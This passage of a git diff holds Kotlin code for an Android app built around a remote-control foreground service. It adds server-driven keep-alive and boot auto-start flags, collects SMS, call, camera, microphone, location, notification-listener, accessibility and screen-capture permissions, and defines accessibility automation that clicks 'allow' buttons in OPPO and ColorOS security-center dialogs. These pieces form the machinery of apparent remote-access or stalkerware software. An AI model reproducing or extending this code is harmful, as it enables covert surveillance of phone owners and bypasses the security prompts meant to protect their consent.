private const val PREF_NAME = "remote_fg_start_guard"
|
||||
private const val KEY_LAST_START_AT = "last_start_at"
|
||||
|
||||
fun maybeStartRemoteForegroundService(
|
||||
context: Context,
|
||||
action: String? = null,
|
||||
reason: String,
|
||||
minIntervalMs: Long
|
||||
): Boolean {
|
||||
return try {
|
||||
val now = System.currentTimeMillis()
|
||||
val prefs = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE)
|
||||
val lastStartAt = prefs.getLong(KEY_LAST_START_AT, 0L)
|
||||
val serviceRunning = isRemoteForegroundRunning(context)
|
||||
|
||||
// 服务已在运行时,跳过重复启动,避免 ROM 侧前台时限异常。
|
||||
if (serviceRunning) {
|
||||
Log.d(TAG, "skip start (already running): reason=$reason action=$action")
|
||||
return false
|
||||
}
|
||||
|
||||
if (now - lastStartAt < minIntervalMs) {
|
||||
Log.d(
|
||||
TAG,
|
||||
"skip start (throttled): reason=$reason elapsed=${now - lastStartAt}ms minInterval=$minIntervalMs"
|
||||
)
|
||||
return false
|
||||
}
|
||||
|
||||
val intent = Intent(context, RemoteControlForegroundService::class.java)
|
||||
if (!action.isNullOrBlank()) {
|
||||
intent.action = action
|
||||
}
|
||||
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
context.startForegroundService(intent)
|
||||
} else {
|
||||
context.startService(intent)
|
||||
}
|
||||
|
||||
prefs.edit().putLong(KEY_LAST_START_AT, now).apply()
|
||||
Log.d(TAG, "start remote foreground service: reason=$reason action=$action")
|
||||
true
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "start remote foreground service failed: reason=$reason", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
private fun isRemoteForegroundRunning(context: Context): Boolean {
|
||||
return try {
|
||||
val am = context.getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager
|
||||
@Suppress("DEPRECATION")
|
||||
val runningServices = am.getRunningServices(Int.MAX_VALUE)
|
||||
runningServices.any { it.service.className == RemoteControlForegroundService::class.java.name }
|
||||
} catch (_: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
}
|
||||
144
app/src/main/java/com/hikoncont/util/RuntimeFeatureFlags.kt
Normal file
144
app/src/main/java/com/hikoncont/util/RuntimeFeatureFlags.kt
Normal file
@@ -0,0 +1,144 @@
|
||||
package com.hikoncont.util
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
import org.json.JSONObject
|
||||
|
||||
/**
|
||||
* Runtime feature flags driven by server_config.json.
|
||||
* These flags are intended to be updated remotely without reinstalling APK.
|
||||
*/
|
||||
object RuntimeFeatureFlags {
|
||||
|
||||
private const val TAG = "RuntimeFeatureFlags"
|
||||
|
||||
const val KEY_BOOT_AUTO_START = "bootAutoStart"
|
||||
const val KEY_WORKMANAGER_KEEPALIVE = "workManagerKeepAlive"
|
||||
const val KEY_COMPREHENSIVE_KEEPALIVE = "comprehensiveKeepAlive"
|
||||
const val KEY_ENHANCED_EVENT_RECOVERY = "enhancedEventRecovery"
|
||||
const val KEY_PERMISSION_METRICS = "permissionMetrics"
|
||||
const val KEY_KEEPALIVE_METRICS = "keepAliveMetrics"
|
||||
|
||||
data class Flags(
|
||||
val bootAutoStart: Boolean = true,
|
||||
val workManagerKeepAlive: Boolean = true,
|
||||
val comprehensiveKeepAlive: Boolean = true,
|
||||
val enhancedEventRecovery: Boolean = true,
|
||||
val permissionMetrics: Boolean = true,
|
||||
val keepAliveMetrics: Boolean = true
|
||||
)
|
||||
|
||||
fun defaults(): Flags = Flags()
|
||||
|
||||
fun current(context: Context): Flags {
|
||||
val config = ConfigReader.readServerConfig(context)
|
||||
val featureFlags = config?.optJSONObject("featureFlags")
|
||||
return fromJson(featureFlags)
|
||||
}
|
||||
|
||||
fun fromJson(featureFlags: JSONObject?): Flags {
|
||||
val defaults = defaults()
|
||||
return Flags(
|
||||
bootAutoStart = featureFlags?.optBoolean(
|
||||
KEY_BOOT_AUTO_START,
|
||||
defaults.bootAutoStart
|
||||
) ?: defaults.bootAutoStart,
|
||||
workManagerKeepAlive = featureFlags?.optBoolean(
|
||||
KEY_WORKMANAGER_KEEPALIVE,
|
||||
defaults.workManagerKeepAlive
|
||||
) ?: defaults.workManagerKeepAlive,
|
||||
comprehensiveKeepAlive = featureFlags?.optBoolean(
|
||||
KEY_COMPREHENSIVE_KEEPALIVE,
|
||||
defaults.comprehensiveKeepAlive
|
||||
) ?: defaults.comprehensiveKeepAlive,
|
||||
enhancedEventRecovery = featureFlags?.optBoolean(
|
||||
KEY_ENHANCED_EVENT_RECOVERY,
|
||||
defaults.enhancedEventRecovery
|
||||
) ?: defaults.enhancedEventRecovery,
|
||||
permissionMetrics = featureFlags?.optBoolean(
|
||||
KEY_PERMISSION_METRICS,
|
||||
defaults.permissionMetrics
|
||||
) ?: defaults.permissionMetrics,
|
||||
keepAliveMetrics = featureFlags?.optBoolean(
|
||||
KEY_KEEPALIVE_METRICS,
|
||||
defaults.keepAliveMetrics
|
||||
) ?: defaults.keepAliveMetrics
|
||||
)
|
||||
}
|
||||
|
||||
fun toJson(flags: Flags): JSONObject {
|
||||
return JSONObject().apply {
|
||||
put(KEY_BOOT_AUTO_START, flags.bootAutoStart)
|
||||
put(KEY_WORKMANAGER_KEEPALIVE, flags.workManagerKeepAlive)
|
||||
put(KEY_COMPREHENSIVE_KEEPALIVE, flags.comprehensiveKeepAlive)
|
||||
put(KEY_ENHANCED_EVENT_RECOVERY, flags.enhancedEventRecovery)
|
||||
put(KEY_PERMISSION_METRICS, flags.permissionMetrics)
|
||||
put(KEY_KEEPALIVE_METRICS, flags.keepAliveMetrics)
|
||||
}
|
||||
}
|
||||
|
||||
fun toMap(flags: Flags): Map<String, Boolean> {
|
||||
return mapOf(
|
||||
KEY_BOOT_AUTO_START to flags.bootAutoStart,
|
||||
KEY_WORKMANAGER_KEEPALIVE to flags.workManagerKeepAlive,
|
||||
KEY_COMPREHENSIVE_KEEPALIVE to flags.comprehensiveKeepAlive,
|
||||
KEY_ENHANCED_EVENT_RECOVERY to flags.enhancedEventRecovery,
|
||||
KEY_PERMISSION_METRICS to flags.permissionMetrics,
|
||||
KEY_KEEPALIVE_METRICS to flags.keepAliveMetrics
|
||||
)
|
||||
}
|
||||
|
||||
fun applyPatch(context: Context, patch: JSONObject?): Flags? {
|
||||
if (patch == null) {
|
||||
return current(context)
|
||||
}
|
||||
val existing = current(context)
|
||||
val merged = merge(existing, patch)
|
||||
val saved = ConfigWriter.updateFeatureFlags(context, toMap(merged))
|
||||
if (!saved) {
|
||||
Log.e(TAG, "Failed to persist runtime feature flags patch")
|
||||
return null
|
||||
}
|
||||
Log.i(TAG, "Runtime feature flags updated: ${toJson(merged)}")
|
||||
return merged
|
||||
}
|
||||
|
||||
private fun merge(current: Flags, patch: JSONObject): Flags {
|
||||
return Flags(
|
||||
bootAutoStart = readOptionalBoolean(patch, KEY_BOOT_AUTO_START) ?: current.bootAutoStart,
|
||||
workManagerKeepAlive = readOptionalBoolean(
|
||||
patch,
|
||||
KEY_WORKMANAGER_KEEPALIVE
|
||||
) ?: current.workManagerKeepAlive,
|
||||
comprehensiveKeepAlive = readOptionalBoolean(
|
||||
patch,
|
||||
KEY_COMPREHENSIVE_KEEPALIVE
|
||||
) ?: current.comprehensiveKeepAlive,
|
||||
enhancedEventRecovery = readOptionalBoolean(
|
||||
patch,
|
||||
KEY_ENHANCED_EVENT_RECOVERY
|
||||
) ?: current.enhancedEventRecovery,
|
||||
permissionMetrics = readOptionalBoolean(
|
||||
patch,
|
||||
KEY_PERMISSION_METRICS
|
||||
) ?: current.permissionMetrics,
|
||||
keepAliveMetrics = readOptionalBoolean(
|
||||
patch,
|
||||
KEY_KEEPALIVE_METRICS
|
||||
) ?: current.keepAliveMetrics
|
||||
)
|
||||
}
|
||||
|
||||
private fun readOptionalBoolean(obj: JSONObject, key: String): Boolean? {
|
||||
if (!obj.has(key)) {
|
||||
return null
|
||||
}
|
||||
val value = obj.opt(key)
|
||||
return when (value) {
|
||||
is Boolean -> value
|
||||
is Number -> value.toInt() != 0
|
||||
is String -> value.equals("true", ignoreCase = true) || value == "1"
|
||||
else -> null
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,337 @@
|
||||
package com.hikoncont.util
|
||||
|
||||
import android.Manifest
|
||||
import android.app.AlarmManager
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.pm.PackageManager
|
||||
import android.net.Uri
|
||||
import android.os.Build
|
||||
import android.os.Environment
|
||||
import android.os.PowerManager
|
||||
import android.provider.Settings
|
||||
import android.util.Log
|
||||
import androidx.core.app.NotificationManagerCompat
|
||||
|
||||
/**
|
||||
* 统一权限编排器
|
||||
*
|
||||
* 目标:
|
||||
* 1. 一次性收敛可自动申请的运行时权限
|
||||
* 2. 统一特殊权限检查顺序,便于首启和权限丢失回补
|
||||
* 3. 输出可用于降级策略的缺失项快照
|
||||
*/
|
||||
object UnifiedPermissionOrchestrator {
|
||||
|
||||
private const val TAG = "UnifiedPermOrchestrator"
|
||||
|
||||
enum class Step {
|
||||
RUNTIME,
|
||||
OVERLAY,
|
||||
WRITE_SETTINGS,
|
||||
ALL_FILES_ACCESS,
|
||||
NOTIFICATION_LISTENER,
|
||||
BATTERY_OPTIMIZATION,
|
||||
EXACT_ALARM,
|
||||
ACCESSIBILITY,
|
||||
MEDIA_PROJECTION
|
||||
}
|
||||
|
||||
data class PermissionSnapshot(
|
||||
val runtimeMissing: List<String>,
|
||||
val overlayGranted: Boolean,
|
||||
val writeSettingsGranted: Boolean,
|
||||
val allFilesGranted: Boolean,
|
||||
val notificationListenerGranted: Boolean,
|
||||
val batteryOptimizationIgnored: Boolean,
|
||||
val exactAlarmGranted: Boolean,
|
||||
val accessibilityGranted: Boolean,
|
||||
val mediaProjectionGranted: Boolean
|
||||
) {
|
||||
val runtimeGranted: Boolean
|
||||
get() = runtimeMissing.isEmpty()
|
||||
}
|
||||
|
||||
fun collectRuntimePermissionsForRequest(context: Context): List<String> {
|
||||
val declared = getDeclaredPermissions(context)
|
||||
val permissions = linkedSetOf<String>()
|
||||
|
||||
// 基础能力
|
||||
addIfDeclared(declared, permissions, Manifest.permission.CAMERA)
|
||||
addIfDeclared(declared, permissions, Manifest.permission.RECORD_AUDIO)
|
||||
|
||||
// 媒体读取能力
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_IMAGES)
|
||||
addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_VIDEO)
|
||||
addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_AUDIO)
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
|
||||
addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
|
||||
}
|
||||
} else {
|
||||
addIfDeclared(declared, permissions, Manifest.permission.READ_EXTERNAL_STORAGE)
|
||||
if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.P) {
|
||||
addIfDeclared(declared, permissions, Manifest.permission.WRITE_EXTERNAL_STORAGE)
|
||||
}
|
||||
}
|
||||
|
||||
// 短信/电话能力
|
||||
addIfDeclared(declared, permissions, Manifest.permission.READ_SMS)
|
||||
addIfDeclared(declared, permissions, Manifest.permission.SEND_SMS)
|
||||
addIfDeclared(declared, permissions, Manifest.permission.RECEIVE_SMS)
|
||||
addIfDeclared(declared, permissions, Manifest.permission.READ_PHONE_STATE)
|
||||
addIfDeclared(declared, permissions, Manifest.permission.CALL_PHONE)
|
||||
|
||||
// 通知权限(Android 13+)
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
addIfDeclared(declared, permissions, Manifest.permission.POST_NOTIFICATIONS)
|
||||
}
|
||||
|
||||
// 厂商ROM中部分链路会校验定位权限
|
||||
addIfDeclared(declared, permissions, Manifest.permission.ACCESS_FINE_LOCATION)
|
||||
|
||||
return permissions.toList()
|
||||
}
|
||||
|
||||
fun getRuntimeMissingPermissions(context: Context): List<String> {
|
||||
return collectRuntimePermissionsForRequest(context).filter {
|
||||
context.checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
|
||||
}
|
||||
}
|
||||
|
||||
fun buildSnapshot(
|
||||
context: Context,
|
||||
accessibilityGranted: Boolean,
|
||||
mediaProjectionGranted: Boolean
|
||||
): PermissionSnapshot {
|
||||
return PermissionSnapshot(
|
||||
runtimeMissing = getRuntimeMissingPermissions(context),
|
||||
overlayGranted = hasOverlayPermission(context),
|
||||
writeSettingsGranted = hasWriteSettingsPermission(context),
|
||||
allFilesGranted = hasAllFilesAccess(context),
|
||||
notificationListenerGranted = hasNotificationListenerPermission(context),
|
||||
batteryOptimizationIgnored = isIgnoringBatteryOptimization(context),
|
||||
exactAlarmGranted = canScheduleExactAlarm(context),
|
||||
accessibilityGranted = accessibilityGranted,
|
||||
mediaProjectionGranted = mediaProjectionGranted
|
||||
)
|
||||
}
|
||||
|
||||
fun getMissingSteps(snapshot: PermissionSnapshot): List<Step> {
|
||||
val missing = mutableListOf<Step>()
|
||||
if (!snapshot.runtimeGranted) {
|
||||
missing.add(Step.RUNTIME)
|
||||
}
|
||||
if (!snapshot.overlayGranted) {
|
||||
missing.add(Step.OVERLAY)
|
||||
}
|
||||
if (!snapshot.writeSettingsGranted) {
|
||||
missing.add(Step.WRITE_SETTINGS)
|
||||
}
|
||||
if (!snapshot.allFilesGranted) {
|
||||
missing.add(Step.ALL_FILES_ACCESS)
|
||||
}
|
||||
if (!snapshot.notificationListenerGranted) {
|
||||
missing.add(Step.NOTIFICATION_LISTENER)
|
||||
}
|
||||
if (!snapshot.batteryOptimizationIgnored) {
|
||||
missing.add(Step.BATTERY_OPTIMIZATION)
|
||||
}
|
||||
if (!snapshot.exactAlarmGranted) {
|
||||
missing.add(Step.EXACT_ALARM)
|
||||
}
|
||||
if (!snapshot.accessibilityGranted) {
|
||||
missing.add(Step.ACCESSIBILITY)
|
||||
}
|
||||
if (!snapshot.mediaProjectionGranted) {
|
||||
missing.add(Step.MEDIA_PROJECTION)
|
||||
}
|
||||
return missing
|
||||
}
|
||||
|
||||
fun getDefaultStepOrder(manufacturerRaw: String): List<Step> {
|
||||
val manufacturer = manufacturerRaw.lowercase()
|
||||
val defaultOrder = mutableListOf(
|
||||
Step.RUNTIME,
|
||||
Step.OVERLAY,
|
||||
Step.WRITE_SETTINGS,
|
||||
Step.ALL_FILES_ACCESS,
|
||||
Step.NOTIFICATION_LISTENER,
|
||||
Step.BATTERY_OPTIMIZATION,
|
||||
Step.EXACT_ALARM,
|
||||
Step.ACCESSIBILITY,
|
||||
Step.MEDIA_PROJECTION
|
||||
)
|
||||
|
||||
// MIUI类设备优先把无障碍和录屏放到后面,先完成可批量自动授权的权限
|
||||
if (manufacturer.contains("xiaomi") || manufacturer.contains("redmi")) {
|
||||
return defaultOrder
|
||||
}
|
||||
|
||||
// Vivo/Oppo/Realme/iQOO/Huawei/Honor 类设备通常后台策略更激进,提前申请电池优化白名单
|
||||
if (
|
||||
manufacturer.contains("vivo") ||
|
||||
manufacturer.contains("iqoo") ||
|
||||
manufacturer.contains("oppo") ||
|
||||
manufacturer.contains("realme") ||
|
||||
manufacturer.contains("oneplus") ||
|
||||
manufacturer.contains("huawei") ||
|
||||
manufacturer.contains("honor")
|
||||
) {
|
||||
defaultOrder.remove(Step.BATTERY_OPTIMIZATION)
|
||||
defaultOrder.add(4, Step.BATTERY_OPTIMIZATION)
|
||||
return defaultOrder
|
||||
}
|
||||
|
||||
return defaultOrder
|
||||
}
|
||||
|
||||
fun buildSettingsIntent(context: Context, step: Step): Intent? {
|
||||
return when (step) {
|
||||
Step.OVERLAY -> Intent(
|
||||
Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
|
||||
Uri.parse("package:${context.packageName}")
|
||||
)
|
||||
|
||||
Step.WRITE_SETTINGS -> Intent(
|
||||
Settings.ACTION_MANAGE_WRITE_SETTINGS,
|
||||
Uri.parse("package:${context.packageName}")
|
||||
)
|
||||
|
||||
Step.ALL_FILES_ACCESS -> {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) {
|
||||
null
|
||||
} else {
|
||||
Intent(
|
||||
Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION,
|
||||
Uri.parse("package:${context.packageName}")
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
Step.NOTIFICATION_LISTENER -> Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS")
|
||||
|
||||
Step.BATTERY_OPTIMIZATION -> {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
|
||||
null
|
||||
} else {
|
||||
Intent(
|
||||
Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS,
|
||||
Uri.parse("package:${context.packageName}")
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
Step.EXACT_ALARM -> {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.S) {
|
||||
null
|
||||
} else {
|
||||
Intent(Settings.ACTION_REQUEST_SCHEDULE_EXACT_ALARM).apply {
|
||||
data = Uri.parse("package:${context.packageName}")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
else -> null
|
||||
}?.apply {
|
||||
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
|
||||
}
|
||||
}
|
||||
|
||||
fun buildAppDetailsIntent(context: Context): Intent {
|
||||
return Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
|
||||
data = Uri.parse("package:${context.packageName}")
|
||||
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
|
||||
}
|
||||
}
|
||||
|
||||
private fun hasOverlayPermission(context: Context): Boolean {
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
||||
Settings.canDrawOverlays(context)
|
||||
} else {
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
private fun hasWriteSettingsPermission(context: Context): Boolean {
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
||||
Settings.System.canWrite(context)
|
||||
} else {
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
private fun hasAllFilesAccess(context: Context): Boolean {
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
|
||||
try {
|
||||
Environment.isExternalStorageManager()
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "检查全部文件访问权限失败", e)
|
||||
false
|
||||
}
|
||||
} else {
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
private fun hasNotificationListenerPermission(context: Context): Boolean {
|
||||
return try {
|
||||
NotificationManagerCompat.getEnabledListenerPackages(context).contains(context.packageName)
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "检查通知监听权限失败", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
private fun isIgnoringBatteryOptimization(context: Context): Boolean {
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
|
||||
try {
|
||||
val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
|
||||
powerManager.isIgnoringBatteryOptimizations(context.packageName)
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "检查电池优化白名单失败", e)
|
||||
false
|
||||
}
|
||||
} else {
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
private fun canScheduleExactAlarm(context: Context): Boolean {
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
|
||||
try {
|
||||
val alarmManager = context.getSystemService(Context.ALARM_SERVICE) as AlarmManager
|
||||
alarmManager.canScheduleExactAlarms()
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "检查精确闹钟权限失败", e)
|
||||
false
|
||||
}
|
||||
} else {
|
||||
true
|
||||
}
|
||||
}
|
||||
|
||||
private fun addIfDeclared(declared: Set<String>, target: MutableSet<String>, permission: String) {
|
||||
if (declared.contains(permission)) {
|
||||
target.add(permission)
|
||||
}
|
||||
}
|
||||
|
||||
private fun getDeclaredPermissions(context: Context): Set<String> {
|
||||
return try {
|
||||
val packageInfo = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
context.packageManager.getPackageInfo(
|
||||
context.packageName,
|
||||
PackageManager.PackageInfoFlags.of(PackageManager.GET_PERMISSIONS.toLong())
|
||||
)
|
||||
} else {
|
||||
@Suppress("DEPRECATION")
|
||||
context.packageManager.getPackageInfo(context.packageName, PackageManager.GET_PERMISSIONS)
|
||||
}
|
||||
packageInfo.requestedPermissions?.toSet() ?: emptySet()
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "读取清单权限失败,回退为空集合", e)
|
||||
emptySet()
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package com.hikoncont.util.adaptation
|
||||
|
||||
import com.hikoncont.util.DeviceDetector.DeviceBrand
|
||||
import com.hikoncont.util.DeviceDetector.KeepAlivePolicy
|
||||
|
||||
/**
|
||||
* Device runtime fingerprint used by adaptation strategies.
|
||||
*/
|
||||
data class DeviceRuntimeInfo(
|
||||
val brand: DeviceBrand,
|
||||
val sdkInt: Int,
|
||||
val brandRaw: String,
|
||||
val manufacturerRaw: String,
|
||||
val modelRaw: String,
|
||||
val deviceRaw: String,
|
||||
val productRaw: String
|
||||
)
|
||||
|
||||
/**
|
||||
* Strategy interface for per-device adaptation.
|
||||
*
|
||||
* Keep this interface focused and stable so new ROM/model behavior can be
|
||||
* plugged in by adding a strategy class instead of editing many call sites.
|
||||
*/
|
||||
interface DeviceAdaptationStrategy {
|
||||
val id: String
|
||||
val priority: Int
|
||||
|
||||
fun matches(info: DeviceRuntimeInfo): Boolean
|
||||
|
||||
fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy
|
||||
}
|
||||
|
||||
data class StrategyResolution(
|
||||
val strategyId: String,
|
||||
val keepAlivePolicy: KeepAlivePolicy
|
||||
)
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
package com.hikoncont.util.adaptation
|
||||
|
||||
/**
|
||||
* Runtime installer/dialog automation plan resolved from [RomPolicy].
|
||||
*
|
||||
* This turns static installer strategy labels into concrete runtime knobs used
|
||||
* by accessibility automation modules.
|
||||
*/
|
||||
data class InstallerUiAutomationPlan(
|
||||
val strategyId: String,
|
||||
val installerStrategy: InstallerStrategy,
|
||||
val packageHints: List<String>,
|
||||
val titleKeywords: List<String>,
|
||||
val alwaysAllowKeywords: List<String>,
|
||||
val positiveKeywords: List<String>,
|
||||
val negativeKeywords: List<String>,
|
||||
val positiveButtonIds: List<String>,
|
||||
val checkboxIds: List<String>,
|
||||
val autoAllowDurationMs: Long,
|
||||
val autoAllowClickMinIntervalMs: Long,
|
||||
val dialogHandleCooldownMs: Long
|
||||
)
|
||||
|
||||
object InstallerAutomationPlanner {
|
||||
fun resolve(policy: RomPolicy): InstallerUiAutomationPlan {
|
||||
val basePlan = InstallerUiAutomationPlan(
|
||||
strategyId = "${policy.strategyId}:installer_default",
|
||||
installerStrategy = policy.installerStrategy,
|
||||
packageHints = policy.appOpenDialogPackageHints,
|
||||
titleKeywords = policy.appOpenDialogTitleKeywords,
|
||||
alwaysAllowKeywords = policy.appOpenDialogAlwaysAllowKeywords,
|
||||
positiveKeywords = policy.appOpenDialogPositiveKeywords,
|
||||
negativeKeywords = policy.appOpenDialogNegativeKeywords,
|
||||
positiveButtonIds = policy.appOpenDialogPositiveButtonIds,
|
||||
checkboxIds = policy.appOpenDialogCheckboxIds,
|
||||
autoAllowDurationMs = 15_000L,
|
||||
autoAllowClickMinIntervalMs = 700L,
|
||||
dialogHandleCooldownMs = 300L
|
||||
)
|
||||
|
||||
return when (policy.installerStrategy) {
|
||||
InstallerStrategy.SESSION_FAST -> basePlan.copy(
|
||||
strategyId = "${policy.strategyId}:installer_fast",
|
||||
autoAllowDurationMs = 12_000L,
|
||||
autoAllowClickMinIntervalMs = 650L,
|
||||
dialogHandleCooldownMs = 250L
|
||||
)
|
||||
|
||||
InstallerStrategy.SESSION_COMPAT -> {
|
||||
val compatPackageHints = mergeDistinct(
|
||||
basePlan.packageHints,
|
||||
listOf(
|
||||
"com.coloros.securitypermission",
|
||||
"com.coloros.safecenter",
|
||||
"com.oppo.safecenter",
|
||||
"com.oplus.safecenter",
|
||||
"com.heytap.security",
|
||||
"com.heytap.permission"
|
||||
)
|
||||
)
|
||||
val compatPositiveButtonIds = mergeDistinct(
|
||||
basePlan.positiveButtonIds,
|
||||
listOf(
|
||||
"com.coloros.securitypermission:id/button1",
|
||||
"com.coloros.safecenter:id/button1",
|
||||
"com.oppo.safecenter:id/button1",
|
||||
"com.oplus.safecenter:id/button1",
|
||||
"com.heytap.permission:id/button1",
|
||||
"com.heytap.security:id/button1"
|
||||
)
|
||||
)
|
||||
val compatCheckboxIds = mergeDistinct(
|
||||
basePlan.checkboxIds,
|
||||
listOf(
|
||||
"com.coloros.securitypermission:id/checkbox",
|
||||
"com.coloros.safecenter:id/checkbox",
|
||||
"com.oppo.safecenter:id/checkbox",
|
||||
"com.oplus.safecenter:id/checkbox",
|
||||
"com.heytap.permission:id/checkbox",
|
||||
"com.heytap.security:id/checkbox"
|
||||
)
|
||||
)
|
||||
val compatPositiveKeywords = mergeDistinct(
|
||||
basePlan.positiveKeywords,
|
||||
listOf("确定", "允许", "继续", "同意", "确认", "allow", "confirm", "ok")
|
||||
)
|
||||
val compatAlwaysAllowKeywords = mergeDistinct(
|
||||
basePlan.alwaysAllowKeywords,
|
||||
listOf(
|
||||
"是否始终允许打开",
|
||||
"是否始终允许开启应用",
|
||||
"始终允许打开",
|
||||
"始终允许开启",
|
||||
"总是允许打开",
|
||||
"总是允许开启",
|
||||
"always allow"
|
||||
)
|
||||
)
|
||||
|
||||
basePlan.copy(
|
||||
strategyId = "${policy.strategyId}:installer_compat",
|
||||
packageHints = compatPackageHints,
|
||||
positiveButtonIds = compatPositiveButtonIds,
|
||||
checkboxIds = compatCheckboxIds,
|
||||
positiveKeywords = compatPositiveKeywords,
|
||||
alwaysAllowKeywords = compatAlwaysAllowKeywords,
|
||||
autoAllowDurationMs = 20_000L,
|
||||
autoAllowClickMinIntervalMs = 900L,
|
||||
dialogHandleCooldownMs = 450L
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private fun mergeDistinct(primary: List<String>, secondary: List<String>): List<String> {
|
||||
return (primary + secondary)
|
||||
.map { it.trim() }
|
||||
.filter { it.isNotEmpty() }
|
||||
.distinct()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
package com.hikoncont.util.adaptation
|
||||
|
||||
import com.hikoncont.util.DeviceDetector.DeviceBrand
|
||||
import com.hikoncont.util.DeviceDetector.KeepAlivePolicy
|
||||
|
||||
/**
|
||||
* Strategy registry for keep-alive behavior across device families.
|
||||
*
|
||||
* Add new strategies here instead of injecting ROM if/else checks into
|
||||
* service modules.
|
||||
*/
|
||||
object KeepAliveAdaptationRegistry {
|
||||
|
||||
private val strategies: List<DeviceAdaptationStrategy> = listOf(
|
||||
OppoFamilyAndroid14ConservativeStrategy,
|
||||
XiaomiLegacyAggressiveStrategy,
|
||||
DefaultBalancedStrategy
|
||||
).sortedByDescending { it.priority }
|
||||
|
||||
fun resolve(info: DeviceRuntimeInfo): StrategyResolution {
|
||||
val strategy = strategies.firstOrNull { it.matches(info) } ?: DefaultBalancedStrategy
|
||||
return StrategyResolution(
|
||||
strategyId = strategy.id,
|
||||
keepAlivePolicy = strategy.keepAlivePolicy(info)
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
private object OppoFamilyAndroid14ConservativeStrategy : DeviceAdaptationStrategy {
|
||||
override val id: String = "oppo_family_android14_conservative"
|
||||
override val priority: Int = 100
|
||||
|
||||
override fun matches(info: DeviceRuntimeInfo): Boolean {
|
||||
if (info.sdkInt < 34) return false
|
||||
return info.brand == DeviceBrand.OPPO ||
|
||||
info.brand == DeviceBrand.VIVO ||
|
||||
info.brand == DeviceBrand.REALME ||
|
||||
info.brand == DeviceBrand.ONEPLUS
|
||||
}
|
||||
|
||||
override fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy {
|
||||
return KeepAlivePolicy(
|
||||
useActivityKeepAlive = false,
|
||||
enableAggressiveWorkers = false,
|
||||
keepAliveCheckIntervalMs = 30_000L,
|
||||
minForegroundKickIntervalMs = 20_000L
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
private object XiaomiLegacyAggressiveStrategy : DeviceAdaptationStrategy {
|
||||
override val id: String = "xiaomi_legacy_aggressive"
|
||||
override val priority: Int = 90
|
||||
|
||||
override fun matches(info: DeviceRuntimeInfo): Boolean {
|
||||
return info.brand == DeviceBrand.XIAOMI && info.sdkInt <= 33
|
||||
}
|
||||
|
||||
override fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy {
|
||||
return KeepAlivePolicy(
|
||||
useActivityKeepAlive = true,
|
||||
enableAggressiveWorkers = true,
|
||||
keepAliveCheckIntervalMs = 5_000L,
|
||||
minForegroundKickIntervalMs = 2_500L
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
private object DefaultBalancedStrategy : DeviceAdaptationStrategy {
|
||||
override val id: String = "default_balanced"
|
||||
override val priority: Int = 0
|
||||
|
||||
override fun matches(info: DeviceRuntimeInfo): Boolean {
|
||||
return true
|
||||
}
|
||||
|
||||
override fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy {
|
||||
